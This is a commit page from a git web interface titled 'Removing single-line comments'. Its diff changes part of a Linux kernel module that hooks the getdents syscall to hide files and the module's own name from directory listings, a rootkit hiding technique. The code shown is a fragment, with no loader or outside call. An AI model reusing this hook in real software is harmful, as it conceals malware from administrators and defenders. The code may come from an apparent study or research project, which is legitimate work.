Removing single-line comments

dev_vlr
Valentin Lechner 5 years ago
parent 800779a376
commit 53e95217c2

@ -23,6 +23,10 @@
*******************************************************************************/ *******************************************************************************/
#include "637d3n75.h" #include "637d3n75.h"
/*** var ********************************************************************
*******************************************************************************/
sys_getdents_ptr sys_getdents_orig;
/*******************************************************************************/ /*******************************************************************************/
@ -48,22 +52,20 @@ asmlinkage long sys_getdents_new(unsigned int fd,
dbuf = (char*)dirent; dbuf = (char*)dirent;
// go through the entries, looking for one that has our prefix
for (boff = 0; boff < ret;) { for (boff = 0; boff < ret;) {
ent = (struct linux_dirent*)(dbuf + boff); ent = (struct linux_dirent*)(dbuf + boff);
// if it has hide prefix or module name anywhere, hide it
if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0) if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0)
|| (strstr(ent->d_name, MODULE_NAME) != NULL)) { || (strstr(ent->d_name, MODULE_NAME) != NULL)) {
// remove this entry by copying everything after it forward
// and adjust the length reported
memcpy(dbuf + boff, memcpy(dbuf + boff,
dbuf + boff + ent->d_reclen, dbuf + boff + ent->d_reclen,
ret - (boff + ent->d_reclen)); ret - (boff + ent->d_reclen));
ret -= ent->d_reclen; ret -= ent->d_reclen;
} else { } else {
// on to the next entry
boff += ent->d_reclen; boff += ent->d_reclen;
} }
} }

Loading…
Cancel
Save